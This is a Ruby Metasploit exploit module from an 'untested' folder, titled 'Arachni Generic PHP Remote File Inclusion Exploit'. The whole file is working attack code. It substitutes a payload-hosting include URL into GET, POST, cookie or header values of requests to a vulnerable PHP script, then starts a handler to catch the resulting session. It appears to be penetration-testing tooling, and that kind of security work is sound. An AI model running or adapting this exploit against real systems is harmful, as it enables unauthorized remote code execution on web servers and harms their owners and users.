Files
metasploit-gs/unstable-modules/exploits/untested/arachni_php_include.rb
T
2013-11-07 23:44:41 -06:00

142 lines
4.5 KiB
Ruby

require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::PHPInclude
def initialize( info = {} )
super( update_info( info,
'Name' => 'Arachni Generic PHP Remote File Inclusion Exploit',
'Description' => %q{
This module allows complex HTTP requests to be crafted in order to
allow exploitation of PHP remote file inclusion vulnerabilities.
Use 'XXinjectionXX' to mark the value of the vulnerable variable/field,
i.e. where the payload should go.
Supported vectors: GET, POST, COOKIE, HEADER.
(Mainly for use with the Arachni plug-in.)
},
'Author' => [
'Tasos "Zapotek" Laskos <tasos.laskos@gmail.com>', # extended it to work with GET/POST/COOKIE/HEADER
'hdm', # original exploit: exploits/unix/webapp/php_include.rb
'egypt' # original exploit: exploits/unix/webapp/php_include.rb
],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
['URL', 'http://github.com/Zapotek/arachni'],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find',
},
# Arbitrary big number. The payload gets sent as an HTTP
# response body, so really it's unlimited
'Space' => 262144, # 256k
},
'DefaultOptions' =>
{
'WfsDelay' => 30
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0 ) )
register_options( [
OptString.new( 'GET', [ false, "GET parameters. ('foo=bar&vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
OptString.new( 'POST', [ false, "POST parameters. ('foo=bar&vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
OptString.new( 'COOKIES', [ false, "Cookies to be sent with the request. ('foo=bar;vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
OptString.new( 'HEADERS', [ false, "Headers to be sent with the request. ('User-Agent=bar::vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
OptString.new( 'PATH', [ true, "The path to the vulnerable script.", "/cgi-bin/generic" ] ),
], self.class )
end
def check
uri = datastore['PATH'] ? datastore['PATH'].dup : ""
if( uri && ! uri.empty? )
uri.gsub!( /\?.*/, "" )
print_status( "Checking uri #{uri}" )
response = send_request_raw({ 'uri' => uri})
if response.code == 200
return Exploit::CheckCode::Detected
end
print_error( "Server responded with #{response.code}" )
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Unknown
end
end
def php_exploit
cookies = _sub_injection( datastore['COOKIES'].to_s, ';' )
headers = _str_to_hash( _sub_injection( datastore['HEADERS'].to_s, '::' ), '::' )
post = _str_to_hash( _sub_injection( datastore['POST'].to_s ) )
get = _str_to_hash( _sub_injection( datastore['GET'].to_s ) )
uri = datastore['PATH'].to_s
method = post.empty? ? 'GET' : 'POST'
if( post.empty? && get.empty? && headers.empty? && cookies.empty? )
print_error( 'At least one of GET/POST/COOKIES/HEADERS must be set.' )
return
end
print_status( "Sending HTTP request for #{uri}" )
res = send_request_cgi( {
'global' => true,
'uri' => uri,
'method' => method,
'vars_get' => get,
'vars_post' => post,
'headers' => headers,
'cookie' => cookies
}, 0.01 )
handler
end
#
# Converts a URI styled query string into a key=>value hash
#
def _str_to_hash( str, sep = '&' )
hash = {}
str.split( sep ).map do |part|
splits = part.split( '=', 2 )
next if !splits[0] || !splits[1]
hash[splits[0]] = splits[1]
end
return hash
end
#
# Substitutes 'XXinjectionXX' in values of a URI styled query string with the
# payload
#
def _sub_injection( str, sep = '&' )
return str.to_s.split( sep ).map do |var|
k,v = var.split( '=', 2 )
next if !v || !k
k + "=" + v.gsub( 'XXinjectionXX', php_include_url )
end.reject do |i| !i end.join( sep )
end
end